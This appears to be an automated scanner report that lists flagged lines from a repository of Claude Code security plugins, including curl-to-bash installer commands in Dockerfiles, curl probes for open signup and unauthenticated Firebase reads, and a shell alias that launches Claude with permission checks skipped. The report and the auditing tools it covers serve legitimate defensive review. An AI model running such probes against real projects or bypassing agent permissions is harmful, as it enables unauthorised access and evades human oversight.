    { url = "https://files.pythonhosted.org/packages/07/70/e5686d753e898a45d778ff1718dba8516ead6ab6b95d85fc8c4b70650cf2/pillow-12.3.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:5afb51d599ea772b8365ae807ae557f18bccfe46ab261fd1c2a9ed700f
  • Network accessline 256
    { url = "https://files.pythonhosted.org/packages/d5/37/25c6692f06927ee973ff18c8d9ee98ad0b4d84ee67a09610c2dd1447958e/pillow-12.3.0-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3edce1d53195db527e0191f84b71d0
  • Network accessline 257
    { url = "https://files.pythonhosted.org/packages/cc/91/420637fcb8f1bc11029e403b4538e6694744428d8246118e45719f944556/pillow-12.3.0-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bf16ba1b4d0b6b7c8e534936632270cf
  • Network accessline 258
    { url = "https://files.pythonhosted.org/packages/10/08/b94d7811281ccf0d143a1cf768d1c49e1e54af63e7b708ab2ee3eb87face/pillow-12.3.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:24870b09b224f7ae3c39ed07d10e819d06f8720bc551847b1d6238
  • Network accessline 259
    { url = "https://files.pythonhosted.org/packages/d2/87/24233f785f55474dc02ce3e739c5528a77e3a862e9333d1dd7a25cc31f70/pillow-12.3.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:30f2aa603c41533cc25c05acd0da21636e84a315768feb631c93717
  • Network accessline 260
    { url = "https://files.pythonhosted.org/packages/23/26/fcb2f6e37175b04f53570b59937867e2b80ee1685e744023153028fc14f9/pillow-12.3.0-cp314-cp314t-win32.whl", hash = "sha256:4b0a7fe987b14c31ebda6083f74f22b561fd3739bc0ac51e019622e3d72668c7", siz
  • Network accessline 261
    { url = "https://files.pythonhosted.org/packages/90/de/3634abee5f1c9e13c56787b7d5517b0ba8d6de51700b95578cf338349c9f/pillow-12.3.0-cp314-cp314t-win_amd64.whl", hash = "sha256:962864dc93511324d51ddbb5b9f8731bf71675b93ca612a07441896f4688fb8c",
  • Network accessline 262
    { url = "https://files.pythonhosted.org/packages/ce/2a/fd13f8eb24de5714a6eb444a3d67e2842c6c576e159a43793adf23051351/pillow-12.3.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0740a512dc522224c77d9aa5a8d70d8b7d73fb91f2c21125d8d025d3b8990e45",
  • Network accessline 263
    { url = "https://files.pythonhosted.org/packages/5d/dc/8fdce34ec725a33c81c6ba122b904d6b9024e50ea9ac7bede62fab54506c/pillow-12.3.0-cp315-cp315-ios_13_0_arm64_iphoneos.whl", hash = "sha256:0feb2e9d6ad6c9e3c06effe9d00f3f1e618a6643273576b016f59
  • Network accessline 264
    { url = "https://files.pythonhosted.org/packages/76/66/2044b9a63d3b84ff048228dfcb7cd9bf0df983e8470971bf7d4c57b693de/pillow-12.3.0-cp315-cp315-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:9e881fca225083806662a5c43d627d215f258ff43c890f
  • Network accessline 265
    { url = "https://files.pythonhosted.org/packages/52/7e/1f67e6f4ece6b582ee4b539decbcc9f848dc245a93ed8cd7338bafef72f1/pillow-12.3.0-cp315-cp315-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:4998562bf62a445225f22e07c896bb04b35b1b1f2eb6d
  • Network accessline 266
    { url = "https://files.pythonhosted.org/packages/12/40/d306fc2c8e4d45d7f175c77edca7063be7b86fe7fe6e68f4353bf71d808c/pillow-12.3.0-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:dc624f6bc473dacdf7ef7eb8678d0d08edf15cd94fad6ae5c7d6cc67a
  • Network accessline 267
    { url = "https://files.pythonhosted.org/packages/dd/44/668fb1437e8ce420f62d6106eb66e44a5971602a4d794615bdf79315d82d/pillow-12.3.0-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:71d6097b330eea8fd15097780c8e89cb1a8ce7838669f48c5bacd6f663d
  • Network accessline 268
    { url = "https://files.pythonhosted.org/packages/0c/08/93fa2e70e30a2d81547e481b6ee2bb9522117221fb1e0ce4b5df70967677/pillow-12.3.0-cp315-cp315-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:28ce87c5ab450a9dd970b52e5aca5fe
  • Network accessline 269
    { url = "https://files.pythonhosted.org/packages/f8/6d/043e96ff814fc31a33077e4cba86082167db520c93632afdf2042febbb0c/pillow-12.3.0-cp315-cp315-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6b02afb9b97f65fbca5f31db6a2a3ba21
  • Network accessline 270
    { url = "https://files.pythonhosted.org/packages/af/92/ba71d2ee2ac0edf3fa33bd9d5ee9ee080da70b1766f3ca3934f9938ddac9/pillow-12.3.0-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:1182d52bc2d5e5d7d0949503aa7e36d12f42205dc287e4883f407b1
  • Network accessline 271
    { url = "https://files.pythonhosted.org/packages/0f/ce/e63064e2122923ff687c8ad792d0d736a7b3920a56a46982e81a7fdd25d6/pillow-12.3.0-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:e795b7eb908249c4e43c7c99fac7c2c75dab0c43566e37db472a355f
  • Network accessline 272
    { url = "https://files.pythonhosted.org/packages/54/76/a09cc3ccc8d773a7283d34c38bec1708f9e3cc932093cbc4c5e71ac4060b/pillow-12.3.0-cp315-cp315-win32.whl", hash = "sha256:57b3d78c95ba9059768b10e28b813002261d3f3dfc55cc48b0c988f625175827", size
  • Network accessline 273
    { url = "https://files.pythonhosted.org/packages/3e/03/1846c49ba3b1d5550392a4bbd06d6fb4578e1cd91a803198b5c90f5f7d53/pillow-12.3.0-cp315-cp315-win_amd64.whl", hash = "sha256:fa4ecea169a355be7a3ade2c783e2ed12f0e40d2c5621cda8b3297faf7fbb9f5", 
  • Network accessline 274
    { url = "https://files.pythonhosted.org/packages/fb/bb/89f35dcc79610423f9f195504d7def7f0d1416a711541b42867e25fe3412/pillow-12.3.0-cp315-cp315-win_arm64.whl", hash = "sha256:877c3f311ff35410f690861c4409e7ccbf0cd2f878e50628a28e5a0bb689e658", 
  • Network accessline 275
    { url = "https://files.pythonhosted.org/packages/30/88/707027ba09942dfa2c28759b5c222d769290a41c6d20ea60ec250801941f/pillow-12.3.0-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:e9871b1ffbfa9656b60aeee92ed5136a5742696006fa322b29ea3d8d
  • Network accessline 276
    { url = "https://files.pythonhosted.org/packages/b0/6d/00352fa25332c2569cd387851f568cc5a4b75a9adbfb37ac4fbce4c02eec/pillow-12.3.0-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:53aa02d20d10c3d814d536aa4e5ac9b84ca0ff5a88377963b085ad6822
  • Network accessline 277
    { url = "https://files.pythonhosted.org/packages/13/4f/9e049dfa21af7c22427275720e2490267ba8138120add5c4c574deb69782/pillow-12.3.0-cp315-cp315t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:446c34dcc4324b084a53b705127dc1
  • Network accessline 278
    { url = "https://files.pythonhosted.org/packages/36/16/cf6eeaae8d0fce8dd390a33437cf68c5d5bd73834a2bc6e2f14efda0ab45/pillow-12.3.0-cp315-cp315t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:cf1845d02ad822a369a49f2bb9345b16
  • Network accessline 279
    { url = "https://files.pythonhosted.org/packages/1e/69/dbf769bdd55f48bf5733cac28edc6364ffaa072ec9ba336266e4fe66be55/pillow-12.3.0-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:186941b6aef820ad110fb01fb06eb925374dc3a21b17e37ec9a53b
  • Network accessline 280
    { url = "https://files.pythonhosted.org/packages/a0/e1/ffc9cfc2eea0d178da8018e18e959301ad9d6bc9f3edb7181e748a474b97/pillow-12.3.0-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:f13c32a3abd6079a66d9526e18dad9b6d280384d49d7c54040cd57b
  • Network accessline 281
    { url = "https://files.pythonhosted.org/packages/18/f0/a5595c1e8c3ae44b9828cb2f0fa8155e5095ef04d6327b8f61cf44a3df85/pillow-12.3.0-cp315-cp315t-win32.whl", hash = "sha256:1657923d2d45afb66526e5b933e5b3052e6bdea196c90d3abb2424e18c77dae8", siz
  • Network accessline 282
    { url = "https://files.pythonhosted.org/packages/e4/04/62bcd9f844984c5938d3b05264a61d797a29d3e0812341a8204af70bbdee/pillow-12.3.0-cp315-cp315t-win_amd64.whl", hash = "sha256:8cd2f7bdda092d99c9fc2fb7391354f306d01443d22785d0cbfafa2e2c8bb418",
  • Network accessline 283
    { url = "https://files.pythonhosted.org/packages/3d/68/1f3066acedf37673694a7141381d8f811ae97f30d34413d236abe7d489f1/pillow-12.3.0-cp315-cp315t-win_arm64.whl", hash = "sha256:06ff022112bc9cbf83b60f8e028d94ad87b60621706487e65f673de61610ab59",
  • Network accessline 284
    { url = "https://files.pythonhosted.org/packages/75/18/2e8b40223153ccbc60df07f9e8928dc0c76202aa4e55ae9f53962b6510d6/pillow-12.3.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:b3c777e849237620b022f7f297dd67705f9f5cf1685f09f02e
  • Network accessline 285
    { url = "https://files.pythonhosted.org/packages/46/3e/51fabf59d5ab801ceab709453d3ab6b180083496579549de4c45ced6528a/pillow-12.3.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:b343699e8308bdc51978310e1c959c584e7869cc8c40780058c8
  • Network accessline 286
    { url = "https://files.pythonhosted.org/packages/bf/20/22fe9384b7949e25fb1293bcfc84fb82590ff4ea6b37c95b24d26d793d86/pillow-12.3.0-pp311-pypy311_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fbd139c8447d25dd750ab79e
  • Network accessline 287
    { url = "https://files.pythonhosted.org/packages/08/14/f6ba68107680ffa74b39985f3f30884e41318fbc4250caa423c79b4788bb/pillow-12.3.0-pp311-pypy311_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e7e480451b9fa137494bccd3a7
  • Network accessline 288
    { url = "https://files.pythonhosted.org/packages/36/54/0169bc772ec491108b62f644f8ecf1fe5d8ae5ebafde2ee2142210166903/pillow-12.3.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:04f01d28a6aaff387bf842a13be313df23ba0597a44f1a976c9feb3c6ff4
  • Network accessline 292
    name = "pytesseract" version = "0.3.13" source = { registry = "https://pypi.org/simple" }
  • Network accessline 293
    version = "0.3.13" source = { registry = "https://pypi.org/simple" } dependencies = [
  • Network accessline 294
    source = { registry = "https://pypi.org/simple" }
  • Network accessline 297
    { name = "pillow" }, ] sdist = { url = "https://files.pythonhosted.org/packages/9f/a6/7d679b83c285974a7cb94d739b461fa7e7a9b17a3abfd7bf6cbc5c2394b0/pytesseract-0.3.13.tar.gz", hash = "sha256:4bf5f880c99406f52a3cfc2633e42d9dc67615e69d8a509d74
  • Network accessline 298
    ] sdist = { url = "https://files.pythonhosted.org/packages/9f/a6/7d679b83c285974a7cb94d739b461fa7e7a9b17a3abfd7bf6cbc5c2394b0/pytesseract-0.3.13.tar.gz", hash = "sha256:4bf5f880c99406f52a3cfc2633e42d9dc67615e69d8a509d74867d3baddb5db9", size
  • Network accessline 299
    sdist = { url = "https://files.pythonhosted.org/packages/9f/a6/7d679b83c285974a7cb94d739b461fa7e7a9b17a3abfd7bf6cbc5c2394b0/pytesseract-0.3.13.tar.gz", hash = "sha256:4bf5f880c99406f52a3cfc2633e42d9dc67615e69d8a509d74867d3baddb5db9", size =
  • Network accessline 300
    wheels = [     { url = "https://files.pythonhosted.org/packages/7a/33/8312d7ce74670c9d39a532b2c246a853861120486be9443eebf048043637/pytesseract-0.3.13-py3-none-any.whl", hash = "sha256:7a99c6c2ac598360693d83a416e36e0b33a67638bb9d77fdcac094a3
  • Network accessline 301
    { url = "https://files.pythonhosted.org/packages/7a/33/8312d7ce74670c9d39a532b2c246a853861120486be9443eebf048043637/pytesseract-0.3.13-py3-none-any.whl", hash = "sha256:7a99c6c2ac598360693d83a416e36e0b33a67638bb9d77fdcac094a3589d4b34", size

plugins/culture-index/skills/interpreting-culture-index/workflows/extract-from-pdf.md

  • Network accessline 7
    **Required:** - `uv` - Install with `brew install uv` or `curl -LsSf https://astral.sh/uv/install.sh | sh`
  • Dangerous shell operationline 8
    - `uv` - Install with `brew install uv` or `curl -LsSf https://astral.sh/uv/install.sh | sh`
  • Network accessline 8
    - `uv` - Install with `brew install uv` or `curl -LsSf https://astral.sh/uv/install.sh | sh`

plugins/cvss-scoring/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "Evan Downing",     "url": "https://github.com/trailofbits"
  • Network accessline 6
    "name": "Evan Downing",     "url": "https://github.com/trailofbits"   }
  • Network accessline 7
    "url": "https://github.com/trailofbits"

plugins/cvss-scoring/skills/cvss-scoring/.calcifier/recipe.py

  • Executable scriptline 1
    Executable file
  • Network accessline 50
    } for_metric_values = ("H", "L", "N") CALCULATOR = "https://www.first.org/cvss/calculator/4.0"
  • Network accessline 52
    CALCULATOR = "https://www.first.org/cvss/calculator/4.0"

plugins/cvss-scoring/skills/cvss-scoring/SKILL.md

  • Network accessline 10
    Produce a CVSS v4.0 vector string from a plain-text vulnerability description, plus a [FIRST.org calculator](https://www.first.org/cvss/calculator/4.0) link with that vector
  • Network accessline 11
    [FIRST.org calculator](https://www.first.org/cvss/calculator/4.0) link with that vector
  • Network accessline 209
    https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
  • Network accessline 247
    If the user wants the bare calculator without a vector applied: https://www.first.org/cvss/calculator/4.0
  • Network accessline 248
    https://www.first.org/cvss/calculator/4.0

plugins/cvss-scoring/skills/cvss-scoring/references/examples.md

  • Network accessline 3
    Scored examples from the [FIRST.org CVSS v4.0 specification](https://www.first.org/cvss/v4.0/examples). Use these as calibration anchors when scoring new vulnerabilities. Compare your vector against the 2-3 most similar examples before fina

plugins/cvss-scoring/skills/cvss-scoring/references/metrics.md

  • Network accessline 3
    Complete metric definitions from the [FIRST.org CVSS v4.0 specification](https://www.first.org/cvss/v4.0/specification-document). Use this as a lookup reference when evaluating each metric.

plugins/devcontainer-setup/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "Alexis Challande",     "url": "https://github.com/trailofbits"
  • Network accessline 6
    "name": "Alexis Challande",     "url": "https://github.com/trailofbits"   }
  • Network accessline 7
    "url": "https://github.com/trailofbits"

plugins/devcontainer-setup/skills/devcontainer-setup/SKILL.md

  • Access to secretsline 99
    [Credential-related source omitted]
  • Dangerous shell operationline 142
    rm -rf .venv && uv sync && uv run /opt/post_install.py

plugins/devcontainer-setup/skills/devcontainer-setup/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/devcontainer-setup/skills/devcontainer-setup/references/dockerfile-best-practices.md

  • Dangerous shell operationline 35
    RUN apt-get update && apt-get install -y --no-install-recommends      curl      git      vim      && rm -rf /var/lib/apt/lists/*
  • Network accessline 35
    RUN apt-get update && apt-get install -y --no-install-recommends \     curl \
  • Network accessline 36
    curl \
  • Dangerous shell operationline 39
    && rm -rf /var/lib/apt/lists/*
  • Dangerous shell operationline 47
    - Clean up with `rm -rf /var/lib/apt/lists/*` in the same layer
  • Dangerous shell operationline 54
    RUN set -o pipefail && curl -fsSL https://example.com/install.sh | bash
  • Network accessline 54
    RUN set -o pipefail && curl -fsSL https://example.com/install.sh | bash
  • Network accessline 88
    ARG TARGETARCH RUN curl -fsSL "https://example.com/tool-${TARGETARCH}.tar.gz" | tar xz
  • Network accessline 89
    RUN curl -fsSL "https://example.com/tool-${TARGETARCH}.tar.gz" | tar xz
  • Network accessline 99
    - [Docker Build Best Practices](https://docs.docker.com/build/building/best-practices/)
  • Network accessline 100
    - [VS Code Dev Containers Tips](https://code.visualstudio.com/docs/devcontainers/tips-and-tricks)

plugins/devcontainer-setup/skills/devcontainer-setup/resources/.zshrc

  • Dangerous shell operationline 10
    eval "$(fnm env --use-on-cd)"
  • Instruction override signalline 35
    alias claude-yolo='claude --dangerously-skip-permissions'
  • Dangerous shell operationline 56
    eval "$(fzf --zsh)"

plugins/devcontainer-setup/skills/devcontainer-setup/resources/Dockerfile

  • Executable scriptline 1
    Executable file
  • Dangerous shell operationline 29
    dnsutils    ipset    iptables    iproute2    && apt-get clean && rm -rf /var/lib/apt/lists/*
  • Dangerous shell operationline 33
    && apt-get clean && rm -rf /var/lib/apt/lists/*
  • Network accessline 36
    ARG GIT_DELTA_VERSION=0.18.2 RUN ARCH=$(dpkg --print-architecture) && \   curl -fsSL "https://github.com/dandavison/delta/releases/download/${GIT_DELTA_VERSION}/git-delta_${GIT_DELTA_VERSION}_${ARCH}.deb" -o /tmp/git-delta.deb && \
  • Dangerous shell operationline 37
    RUN ARCH=$(dpkg --print-architecture) &&    curl -fsSL "https://github.com/dandavison/delta/releases/download/${GIT_DELTA_VERSION}/git-delta_${GIT_DELTA_VERSION}_${ARCH}.deb" -o /tmp/git-delta.deb &&    dpkg -i /tmp/git-delta.deb &&    rm /
  • Network accessline 37
    RUN ARCH=$(dpkg --print-architecture) &&    curl -fsSL "https://github.com/dandavison/delta/releases/download/${GIT_DELTA_VERSION}/git-delta_${GIT_DELTA_VERSION}_${ARCH}.deb" -o /tmp/git-delta.deb &&
  • Network accessline 38
    curl -fsSL "https://github.com/dandavison/delta/releases/download/${GIT_DELTA_VERSION}/git-delta_${GIT_DELTA_VERSION}_${ARCH}.deb" -o /tmp/git-delta.deb && \
  • Dangerous shell operationline 40
    rm /tmp/git-delta.deb
  • Network accessline 47
    RUN ARCH=$(dpkg --print-architecture) &&    case "${ARCH}" in      amd64) FZF_ARCH="linux_amd64" ;;      arm64) FZF_ARCH="linux_arm64" ;;      *) echo "Unsupported architecture: ${ARCH}" && exit 1 ;;    esac &&    curl -fsSL "https://github
  • Network accessline 51
    *) echo "Unsupported architecture: ${ARCH}" && exit 1 ;; \   esac && \   curl -fsSL "https://github.com/junegunn/fzf/releases/download/v${FZF_VERSION}/fzf-${FZF_VERSION}-${FZF_ARCH}.tar.gz" | tar -xz -C /usr/local/bin
  • Network accessline 53
    curl -fsSL "https://github.com/junegunn/fzf/releases/download/v${FZF_VERSION}/fzf-${FZF_VERSION}-${FZF_ARCH}.tar.gz" | tar -xz -C /usr/local/bin
  • Dangerous shell operationline 76
    RUN curl -fsSL https://claude.ai/install.sh | bash && \
  • Network accessline 76
    RUN curl -fsSL https://claude.ai/install.sh | bash && \
  • Network accessline 91
    ARG FNM_VERSION=1.39.0 ENV FNM_DIR="/home/vscode/.fnm" RUN curl -fsSL https://fnm.vercel.app/install | bash -s -- --install-dir "$FNM_DIR" --skip-shell --release "v${FNM_VERSION}" && \
  • Network accessline 92
    ENV FNM_DIR="/home/vscode/.fnm" RUN curl -fsSL https://fnm.vercel.app/install | bash -s -- --install-dir "$FNM_DIR" --skip-shell --release "v${FNM_VERSION}" && \   export PATH="$FNM_DIR:$PATH" && \
  • Dangerous shell operationline 93
    RUN curl -fsSL https://fnm.vercel.app/install | bash -s -- --install-dir "$FNM_DIR" --skip-shell --release "v${FNM_VERSION}" && \
  • Network accessline 93
    RUN curl -fsSL https://fnm.vercel.app/install | bash -s -- --install-dir "$FNM_DIR" --skip-shell --release "v${FNM_VERSION}" && \
  • Dangerous shell operationline 95
    eval "$(fnm env)" && \
  • Network accessline 100
    ARG ZSH_IN_DOCKER_VERSION=1.2.1 RUN sh -c "$(curl -fsSL https://github.com/deluan/zsh-in-docker/releases/download/v${ZSH_IN_DOCKER_VERSION}/zsh-in-docker.sh)" -- \
  • Dangerous shell operationline 101
    RUN sh -c "$(curl -fsSL https://github.com/deluan/zsh-in-docker/releases/download/v${ZSH_IN_DOCKER_VERSION}/zsh-in-docker.sh)" -- \
  • Network accessline 101
    RUN sh -c "$(curl -fsSL https://github.com/deluan/zsh-in-docker/releases/download/v${ZSH_IN_DOCKER_VERSION}/zsh-in-docker.sh)" -- \

plugins/devcontainer-setup/skills/devcontainer-setup/resources/devcontainer.json

  • Network accessline 1
    {   "$schema": "https://raw.githubusercontent.com/devcontainers/spec/main/schemas/devContainer.schema.json",
  • Network accessline 2
    "$schema": "https://raw.githubusercontent.com/devcontainers/spec/main/schemas/devContainer.schema.json",
  • Access to secretsline 68
    [Credential-related source omitted]

plugins/devcontainer-setup/skills/devcontainer-setup/resources/install.sh

  • Executable scriptline 1
    #!/bin/bash
  • Dangerous shell operationline 138
    rm -f "$temp_file"
  • Dangerous shell operationline 220
    rm -f "$preserved_mounts"
  • Dangerous shell operationline 446
    # docker exec (works on stopped containers too).
  • Dangerous shell operationline 493
    rm -rf "$tmpdir"
  • Dangerous shell operationline 502
    rm -rf "$tmpdir"
  • Access to secretsline 522
    [Credential-related source omitted]
  • Access to secretsline 539
    [Credential-related source omitted]
  • Dangerous shell operationline 566
    rm -rf "$tmpdir"
  • Dangerous shell operationline 727
    docker rm -f "$CONTAINER_ID" >/dev/null 2>&1 || true
  • Dangerous shell operationline 732
    docker volume rm -f "$vol" >/dev/null 2>&1 || true
  • Network accessline 769
    if ! git -C "$SCRIPT_DIR" rev-parse --is-inside-work-tree &>/dev/null; then     log_error "Not a git repository: $SCRIPT_DIR"     log_info "Re-clone with: rm -rf ~/.claude-devcontainer && git clone https://github.com/trailofbits/claude-code
  • Network accessline 770
    log_error "Not a git repository: $SCRIPT_DIR"     log_info "Re-clone with: rm -rf ~/.claude-devcontainer && git clone https://github.com/trailofbits/claude-code-devcontainer ~/.claude-devcontainer"     exit 1
  • Dangerous shell operationline 771
    log_info "Re-clone with: rm -rf ~/.claude-devcontainer && git clone https://github.com/trailofbits/claude-code-devcontainer ~/.claude-devcontainer"
  • Network accessline 771
    log_info "Re-clone with: rm -rf ~/.claude-devcontainer && git clone https://github.com/trailofbits/claude-code-devcontainer ~/.claude-devcontainer"

plugins/devcontainer-setup/skills/devcontainer-setup/resources/post_install.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 28
    Workaround for https://github.com/anthropics/claude-code/issues/8938.
  • Access to secretsline 30
    [Credential-related source omitted]
  • Network accessline 39
    # `claude` unexpectedly looks for `.claude.json` in *that* folder,     # instead of in `~`, contradicting the documentation.     # See https://github.com/anthropics/claude-code/issues/3833#issuecomment-3694918874
  • Network accessline 41
    # See https://github.com/anthropics/claude-code/issues/3833#issuecomment-3694918874
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 95
    [Credential-related source omitted]
  • Dangerous shell operationline 176
    # Use sudo to fix ownership if needed
  • Dangerous shell operationline 178
    if stat_info.st_uid != uid:                     subprocess.run(                         ["sudo", "chown", "-R", f"{uid}:{gid}", str(dir_path)],
  • Dangerous shell operationline 179
    subprocess.run(                         ["sudo", "chown", "-R", f"{uid}:{gid}", str(dir_path)],                         check=True,

plugins/differential-review/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Omar Inuwa",     "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"
  • Network accessline 7
    "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"   }
  • Network accessline 8
    "url": "https://github.com/trailofbits"

plugins/differential-review/skills/differential-review/SKILL.md

  • Broad permissionsline 1
    Read Write Grep Glob Bash

plugins/differential-review/skills/differential-review/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/dimensional-analysis/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Coriolan Pinhas & Benjamin Samuels",     "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"
  • Network accessline 7
    "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"   }
  • Network accessline 8
    "url": "https://github.com/trailofbits"

plugins/dimensional-analysis/skills/dimensional-analysis/.calcifier/recipe.py

  • Executable scriptline 1
    Executable file

plugins/dimensional-analysis/skills/dimensional-analysis/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/dwarf-expert/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Evan Hellman",     "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"
  • Network accessline 7
    "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"   }
  • Network accessline 8
    "url": "https://github.com/trailofbits"

plugins/dwarf-expert/skills/dwarf-expert/SKILL.md

  • Broad permissionsline 1
    Read Write Edit Bash Grep Glob WebSearch WebFetch

plugins/dwarf-expert/skills/dwarf-expert/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/entry-point-analyzer/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Nicolas Donboly",     "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"
  • Network accessline 7
    "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"   }
  • Network accessline 8
    "url": "https://github.com/trailofbits"

plugins/entry-point-analyzer/skills/entry-point-analyzer/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/entry-point-analyzer/skills/entry-point-analyzer/references/cosmwasm.md

  • Dangerous shell operationline 49
    // Sudo - privileged operations (governance)
  • Dangerous shell operationline 172
    3. **Sudo Is Privileged**: Only callable by chain governance

plugins/firebase-apk-scanner/skills/firebase-apk-scanner/SKILL.md

  • Broad permissionsline 1
    Bash({baseDir}/scanner.sh:*) Bash(apktool:*) Bash(curl:*) Read Grep Glob

plugins/firebase-apk-scanner/skills/firebase-apk-scanner/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/firebase-apk-scanner/skills/firebase-apk-scanner/references/manual-fallback.md

  • Access to secretsline 25
    [Credential-related source omitted]
  • Network accessline 29
    # Test open signup curl -s -X POST -H "Content-Type: application/json" \
  • Network accessline 30
    [Credential-related source omitted]
  • Access to secretsline 30
    [Credential-related source omitted]
  • Network accessline 32
    [Credential-related source omitted]
  • Access to secretsline 32
    [Credential-related source omitted]
  • Network accessline 34
    # Test anonymous auth curl -s -X POST -H "Content-Type: application/json" \
  • Network accessline 35
    [Credential-related source omitted]
  • Access to secretsline 35
    [Credential-related source omitted]
  • Network accessline 37
    [Credential-related source omitted]
  • Access to secretsline 37
    [Credential-related source omitted]
  • Network accessline 42
    # Realtime Database read curl -s "https://PROJECT_ID.firebaseio.com/.json"
  • Network accessline 43
    curl -s "https://PROJECT_ID.firebaseio.com/.json"
  • Network accessline 45
    # Firestore read curl -s "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents"
  • Network accessline 46
    curl -s "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents"
  • Network accessline 51
    # List bucket curl -s "https://firebasestorage.googleapis.com/v0/b/PROJECT_ID.appspot.com/o"
  • Network accessline 52
    curl -s "https://firebasestorage.googleapis.com/v0/b/PROJECT_ID.appspot.com/o"
  • Network accessline 57
    [Credential-related source omitted]
  • Access to secretsline 57
    [Credential-related source omitted]
  • Network accessline 58
    "https://firebaseremoteconfig.googleapis.com/v1/projects/PROJECT_ID/remoteConfig"

plugins/firebase-apk-scanner/skills/firebase-apk-scanner/references/vulnerabilities.md

  • Network accessline 18
    # Create arbitrary account via API curl -X POST \
  • Network accessline 19
    curl -X POST \
  • Network accessline 20
    [Credential-related source omitted]
  • Network accessline 22
    "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  • Network accessline 78
    # Get anonymous auth token curl -X POST \
  • Network accessline 79
    curl -X POST \
  • Network accessline 80
    -H "Content-Type: application/json" \   -d '{"returnSecureToken":true}' \   "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaXXXXXX"
  • Network accessline 82
    "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaXXXXXX"
  • Network accessline 108
